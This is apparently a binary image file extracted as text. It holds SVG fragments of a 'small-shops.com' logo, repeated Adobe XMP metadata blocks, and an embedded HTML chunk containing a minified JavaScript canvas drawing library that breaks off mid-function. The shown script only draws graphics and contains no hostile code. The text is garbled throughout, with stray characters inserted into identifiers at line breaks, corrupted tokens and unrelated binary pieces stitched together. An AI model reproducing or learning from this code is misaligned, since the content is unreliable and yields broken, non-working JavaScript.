		c7.76,16.94,16.99,30.97,25.15,43.34c5.7,8.67,12.72,16.94,16.48,26.86c3.71,9.87,2.97,22.36-10.09,22.53
14-14.26-3.42l-3.82,9.92c5.13,2.34,11.12,3.54,18.02,3.54c10.95,0,21.44-4.11,22.87-16.25
		c2.22-18.42-10.38-34.85-19.9-49.33c-7.93-12.03-16.94-25.72-24.35-41.86c-7.7-16.82-15.23-41.92-6.96-65.98
		c6.16-17.91,24.58-29.37,44.88-27.83c16.82,1.25,30.8,14.09,35.64,32.74c5.19,20.13,2.45,41.92-8.21,64.79
		c-8.04,17.28-17.85,28.69-18.02,28.86l8.38,7.36c0.46-0.51,10.84-12.49,19.56-31.2C262.99,133,266.13,107.91,260.31,85.44z"/>
<rect x="63.16" y="328.87" class="st2" width="291.04" height="15.07"/>
m="matrix(1 0 0 1 82.4019 337.1123)"><tspan x="0" y="0" class="st3 st4">save your </tspan><tspan x="49.7" y="0" class="st1 st3 st4">planet</tspan><tspan x="80.49" y="0" class="st3 st4">  -  save your </tspan><tspan x="146.83" y="0" class="st1 st3 st4">city  </tspan><tspan x="169.92" y="0" class="st3 st4">-  save your </tspan><tspan x="230.17" y="0" class="st1 st3 st4">style</tspan></text>
<rect x="62.79" y="287.58" class="st2" width="291.04" height="44.13"/>
<text transform="matrix(1 0 0 1 68.4751 315.5967)" clas,s="st3 st5">small-shops.com</text>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:88B78A92A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:88B78A93A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:88B78A90A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:88B78A91A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>c
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:30C9DCC8A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:30C9DCC9A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:30C9DCC6A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:30C9DCC7A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:7BEC5827A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:7BEC5828A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7BEC5825A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:7BEC5826A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:2CB3BF11A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:2CB3BF12A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2CB3BF0FA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:2CB3BF10A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>b
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:92859225A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:92859226A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:90FB47E6A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:92859224A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:59F91C63A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:59F91C64A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:59F91C61A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:59F91C62A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>BN
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:3FE66195A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:3FE66196A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3FE66193A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:3FE66194A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>-
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:39642DD6A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:3A669FCAA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:39642DD4A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:39642DD5A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
Copyright 1999 Adobe Systems Incorporated
((((((((((((((((((((((((((((((((((((((((((((((((((
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:96A2B416A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:96A2B417A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:96A2B414A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:96A2B415A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:951B11A1A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:951B11A2A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:951B119FA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:951B11A0A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/html;charset=utf-8
<html><script>function e(e){"use strict";return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100,n.height=100,n.canvas.width=n.width,n.canvas.height=n.height,"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",(function(){document.body.appendChild(n.canvas)}))),y(),n.MAGIC=161533525,n.RGB=0,n.HSV=1,n.HSB=1,n.CHORD=0,n.PIE=1,n.OPEN=2,n.RADIUS=1,n.CORNER=2,n.CORNERS=3,n.ROUND="round",n.SQM
UARE="butt",n.PROJECT="square",n.MITER="miter",n.BEVEL="bevel",n.CLOSE=1,n.BLEND="source-over",n.REMOVE="destination-out",n.ADD="lighter",n.DARKEST="darken",n.LIGHTEST="lighten",n.DIFFERENCE="difference",n.SUBTRACT="subtract",n.EXCLUSION="exclusion",n.MULTIPLY="multiply",n.SCREEN="screen",n.REPLACE="copy",n.OVERLAY="overlay",n.HARD_LIGHT="hard-light",n.SOFT_LIGHT="soft-light",n.DODGE="color-dodge",n.BURN="color-burn",n.NORMAL="normal",n.ITALIC="italic",n.BOLD="bold",n.BOLDITALIC="italic bold",n.CENTER="center",n.LEM
FT="left",n.RIGHT="right",n.TOP="top",n.BOTTOM="bottom",n.BASELINE="alphabetic",n.LANDSCAPE="landscape",n.PORTRAIT="portrait",n.ALT=18,n.BACKSPACE=8,n.CONTROL=17,n.DELETE=46,n.DOWN_ARROW=40,n.ENTER=13,n.ESCAPE=27,n.LEFT_ARROW=37,n.OPTION=18,n.RETURN=13,n.RIGHT_ARROW=39,n.SHIFT=16,n.TAB=9,n.UP_ARROW=38,n.HALF_PI=Math.PI/2,n.PI=Math.PI,n.QUARTER_PI=Math.PI/4,n.TAU=2*Math.PI,n.TWO_PI=2*Math.PI,n.THRESHOLD=1,n.GRAY=2,n.OPAQUE=3,n.INVERT=4,n.POSTERIZE=5,n.DILATE=6,n.ERODE=7,n.BLUR=8,n.ARROW="default",n.CROSS="crosshair"M
,n.HAND="pointer",n.MOVE="move",n.TEXT="text",n.VIDEO={video:!0,audio:!1},n.AUDIO={video:!1,audio:!0},n.SHR3=1,n.LCG=2,n.HARDWARE_FILTERS=!0,n.hint=function(e,t){n[e]=t},n.frameCount=0,n.mouseX=0,n.mouseY=0,n.pmouseX=0,n.pmouseY=0,n.mouseButton=null,n.keyIsPressed=!1,n.mouseIsPressed=!1,n.key=null,n.keyCode=null,n.pixels=null,n.accelerationX=0,n.accelerationY=0,n.accelerationZ=0,n.rotationX=0,n.rotationY=0,n.rotationZ=0,n.relRotationX=0,n.relRotationY=0,n.relRotationZ=0,n.pAccelerationX=0,n.pAccelerationY=0,n.pAcceM
lerationZ=0,n.pRotationX=0,n.pRotationY=0,n.pRotationZ=0,n.pRelRotationX=0,n.pRelRotationY=0,n.pRelRotationZ=0,n.touches=[],n._styleCache=[{colorMode:n.RGB,noStroke:!1,noFill:!1,ellipseMode:n.CENTER,rectMode:n.CORNER,curveDetail:20,curveAlpha:0,textFont:"sans-serif",textSize:12,textLeading:12,textStyle:"normal"}],n._style=n._styleCache[n._styleCache.length-1],n._noLoop=!1,n._pixelDensity=1,n._frameRate=null,n._tint=null;let r=null,a=!0,i=[],l=null,s=0,u={},c=0,h=null,f=null,d=null;Object.defineProperty(n,"deviceOriM
entation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}}),Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}}),Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}}),Object.defineProperty(n,"drawingContext",{get:function(){return o}}),n.createCanvas=function(e,t){return n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,y(),n.canvas},n.resizeCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t},nM
.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o},n.pixelDensity=function(e){return null==e||(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),y()),n._pixelDensity},n.map=function(e,t,n,o,r,a){let i=o+1*(e-t)/(n-t)*(r-o);return a?o<r?Math.min(Math.max(i,o),r):Math.min(Math.max(i,r),o):i},n.lerp=function(eM
,t,n){return e*(1-n)+t*n},n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)},n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])},n.norm=function(e,t,o){return n.map(e,t,o,0,1)},n.sq=function(e){return e*e},n.fract=function(e){return e-Math.floor(e)},n.degrees=function(e){return 180*e/Math.PI},n.radians=function(e){return e*Math.PI/180},n.abs=Math.abs,n.ceil=MM
ath.ceil,n.exp=Math.exp,n.floor=Math.floor,n.log=Math.log,n.mag=Math.hypot,n.max=Math.max,n.min=Math.min,n.round=Math.round,n.sqrt=Math.sqrt,n.sin=Math.sin,n.cos=Math.cos,n.tan=Math.tan,n.asin=Math.asin,n.acos=Math.acos,n.atan=Math.atan,n.atan2=Math.atan2,n.Vector=function(e,t,o){let r=this;r.x=e||0,r.y=t||0,r.z=o||0;let a=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function s(){null==i&&(i=r.x*r.x+r.y*r.y+r.z*r.z,a=Math.sqrt(i))}function u(){i=null,a=null}r.set=function(M
e,t,n){r.x=e||0,r.y=t||0,r.z=n||0},r.copy=function(){return new n.Vector(r.x,r.y,r.z)},r.add=function(){let e=l.apply(null,arguments);return r.x+=e.x,r.y+=e.y,r.z+=e.z,u(),r},r.rem=function(){let e=l.apply(null,arguments);return r.x%=e.x,r.y%=e.y,r.z%=e.z,u(),r},r.sub=function(){let e=l.apply(null,arguments);return r.x-=e.x,r.y-=e.y,r.z-=e.z,u(),r},r.mult=function(){let e=l.apply(null,arguments);return r.x*=e.x,r.y*=e.y,r.z*=e.z,u(),r},r.div=function(){let e=l.apply(null,arguments);return r.x/=e.x,r.y/=e.y,r.z/=e.zM
,u(),r},r.mag=function(){return s(),a},r.magSq=function(){return s(),i},r.dot=function(){let e=l.apply(null,arguments);return r.x*e.x+r.y*e.y+r.z*e.z},r.dist=function(){let e=l.apply(null,arguments),t=r.x-e.x,n=r.y-e.y,o=r.z-e.z;return Math.sqrt(t*t+n*n+o*o)},r.cross=function(){let e=l.apply(null,arguments),t=r.y*e.z-r.z*e.y,n=r.z*e.x-r.x*e.z,o=r.x*e.y-r.y*e.x;return r.x=t,r.y=n,r.z=o,u(),r},r.normalize=function(){s();let e=a;return r.x/=e,r.y/=e,r.z/=e,a=1,i=1,r},r.limit=function(e){s();if(a>e){let t=e/a;r.x*=t,r.M
y*=t,r.z*=t,a=e,i=e*e}return r},r.setMag=function(e){s();let t=e/a;return r.x*=t,r.y*=t,r.z*=t,a=e,i=e*e,r},r.heading=function(){return Math.atan2(r.y,r.x)},r.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=r.x*t-r.y*n,a=r.x*n+r.y*t;return r.x=o,r.y=a,r},r.angleBetween=function(){let e=l.apply(null,arguments);const t=r.dot(e)/(r.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*Math.sign(r.cross(e).z||1)},r.lerp=function(e,t){return r.x=r.x*(1-t)+e.x*t,r.y=r.y*(1-t)+e.y*t,r.z=r.z*(1-t)+e.z*M
t,u(),r},r.reflect=function(e){return e.normalize(),r.sub(e.mult(2*r.dot(e)))},r.array=function(){return[r.x,r.y,r.z]},r.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-r.x)<t&&Math.abs(e.y-r.y)<t&&Math.abs(e.z-r.z)<t},r.fromAngle=function(e,t){return null==t&&(t=1),a=t,i=t*t,r.x=t*Math.cos(e),r.y=t*Math.sin(e),r.z=0,r},r.fromAngles=function(e,t,n){null==n&&(n=1),a=n,i=n*n;const o=Math.cos(t),l=Math.sin(t),s=Math.cos(e),u=Math.sin(e);return r.x=n*u*l,r.y=-n*s,r.z=n*u*o,r},r.random2M
D=function(){return a=1,i=1,r.fromAngle(Math.random()*Math.PI*2)},r.random3D=function(){return a=1,i=1,r.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},r.toString=function(){return`[${r.x}, ${r.y}, ${r.z}]`}},n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)},n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)},n.Vector.sub=function(e,t){return new n.Vector(e.x-t.x,e.y-t.y,e.z-t.z)},n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):nM
ew n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)},n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)},n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)},n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)},n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.z=e.z*(1-o)+t.z*o)},n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAnglM
es","random2D","random3D"])n.Vector[e]=function(t,o,r){return(new n.Vector)[e](t,o,r)};function p(e,t,n){let o,r,a,i,l,s,u,c,h;if(0==t)return[255*(o=n),255*(r=n),255*(a=n)];switch((i=e)>360&&(i=0),u=n*(1-t),c=n*(1-t*(s=(i/=60)-(l=~~i))),h=n*(1-t*(1-s)),l){case 0:o=n,r=h,a=u;break;case 1:o=c,r=n,a=u;break;case 2:o=u,r=n,a=h;break;case 3:o=u,r=c,a=n;break;case 4:o=h,r=u,a=n;break;default:o=n,r=u,a=c}return[255*o,255*r,255*a]}function y(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}fM
unction m(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function g(e,t,r,a,i,l,s,u){if(n._style.noFill&&n._style.noStroke)return;let c=m(i),h=m(l);o.beginPath();for(let i=0;i<u+1;i++){let l=i/u,s=n.lerp(c,h,l),f=Math.cos(s)*r/2,d=Math.sin(s)*a/2;o[i?"lineTo":"moveTo"](e+f,t+d)}s==n.CHORD?o.closePath():s==n.PIE&&(o.lineTo(e,t),o.closePath()),n._style.noFill||o.fill(),n._style.noStroke||o.stroke()}function v(e,t,r,a){n._style.noFill&&n._style.noStroke||(o.beginPath(),oM
.ellipse(e,t,r/2,a/2,0,0,2*Math.PI),n._style.noFill||o.fill(),n._style.noStroke||o.stroke())}function M(e,t,r,a,i,l,s,u){if(n._style.noFill&&n._style.noStroke)return;if(null==i)return function(e,t,r,a){n._style.noFill||o.fillRect(e,t,r,a),n._style.noStroke||o.strokeRect(e,t,r,a)}(e,t,r,a);if(null==l)return M(e,t,r,a,i,i,i,i);const c=Math.min(Math.abs(a),Math.abs(r))/2;i=Math.min(c,i),l=Math.min(c,l),u=Math.min(c,u),s=Math.min(c,s),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+r,t,e+r,t+a,l),o.arcTo(e+r,t+a,e,t+a,s),o.arcM
To(e,t+a,e,t,u),o.arcTo(e,t,e+r,t,i),o.closePath(),n._style.noFill||o.fill(),n._style.noStroke||o.stroke()}function _(){i=[]}n.createVector=function(e,t,o){return new n.Vector(e,t,o)},n.curvePoint=function(e,t,n,o,r){const a=r*r*r,i=r*r;return e*(-.5*a+i-.5*r)+t*(1.5*a-2.5*i+1)+n*(-1.5*a+2*i+.5*r)+o*(.5*a-.5*i)},n.bezierPoint=function(e,t,n,o,r){const a=1-r;return Math.pow(a,3)*e+3*Math.pow(a,2)*r*t+3*a*Math.pow(r,2)*n+Math.pow(r,3)*o},n.curveTangent=function(e,t,n,o,r){const a=r*r;return e*(-3*a/2+2*r-.5)+t*(9*a/2M
-5*r)+n*(-9*a/2+4*r+.5)+o*(3*a/2-r)},n.bezierTangent=function(e,t,n,o,r){const a=1-r;return 3*o*Math.pow(r,2)-3*n*Math.pow(r,2)+6*n*a*r-6*t*a*r+3*t*Math.pow(a,2)-3*e*Math.pow(a,2)},n.Color=function(e,t,n,o){let r=this;r.MAGIC=786698,r._r=e,r._g=t,r._b=n,r._a=o,r._h=0,r._s=0,r._v=0,r._hsvInferred=!1,r.setRed=function(e){r._r=e,r._hsvInferred=!1},r.setGreen=function(e){r._g=e,r._hsvInferred=!1},r.setBlue=function(e){r._b=e,r._hsvInferred=!1},r.setAlpha=function(e){r._a=e/255,r._hsvInferred=!1},r._inferHSV=function(){M
r._hsvInferred||([r._h,r._s,r._v]=function(e,t,n){let o,r,a,i,l;return o=e<t?e<n?e:n:t<n?t:n,0==(l=100*(r=e>t?e>n?e:n:t>n?t:n)/255)?[a=0,i=0,l]:0==(i=100*(r-o)/r)?[a=0,i,l]:(a=r==e?0+60*(t-n)/(r-o):r==t?120+60*(n-e)/(r-o):240+60*(e-t)/(r-o),[a,i,l])}(r._r,r._g,r._b),r._hsvInferred=!0)},r.toString=function(){return`rgba(${Math.round(r._r)},${Math.round(r._g)},${Math.round(r._b)},${~~(1e3*r._a)/1e3})`}},n.colorMode=function(e){n._style.colorMode=e},n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGICM
)return arguments[0];if(n._style.colorMode==n.RGB){if(1==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)retM
urn new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null},n.red=function(e){return e._r},n.green=function(e){return e._g},n.blue=function(e){return e._b},n.alpha=function(e){return 255*e._a},n.hue=function(e){return e._inferHSV(),e._h},n.saturation=function(e){return e._inferHSV(),e._s},n.brightnM
ess=function(e){return e._inferHSV(),e._v},n.lightness=function(e){return 100*(.2126*e._r+.7152*e._g+.0722*e._b)/255},n.lerpColor=function(e,t,o){return n._style.colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var r=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.mapM
(o,0,1,e,t-360)]];return r.sort(((e,t)=>e[0]-t[0])),(r[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))},n.strokeWeight=function(e){n._style_noStroke=!1,o.lineWidth=e},n.stroke=function(){if(n._style.noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._style.noStroke=!0:o.strokeStyle=e},n.noStroke=function(){n._style.noStroke=!0},n.fill=fM
unction(){if(n._style.noFill=!1,"string"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._style.noFill=!0:o.fillStyle=e},n.noFill=function(){n._style.noFill=!0},n.blendMode=function(e){o.globalCompositeOperation=e},n.strokeCap=function(e){o.lineCap=e},n.strokeJoin=function(e){o.lineJoin=e},n.ellipseMode=function(e){n._style.ellipseMode=e},n.rectMode=function(e){n._style.rectMode=e},n.curveDetail=function(e){n._style.curveDetail=e},n.curveAlpha=function(e){n._M
style.curveAlpha=e},n.curveTightness=function(e){n._style.curveAlpha=e},n.clear=function(){o.clearRect(0,0,n.width,n.height)},n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity),o.fillStyle="string"==typeof arguments[0]?arguments[0]:n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.height),o.restore()},n.line=function(e,t,r,a){n._style.noStroke||(o.beginPath(),o.moveTo(e,tM
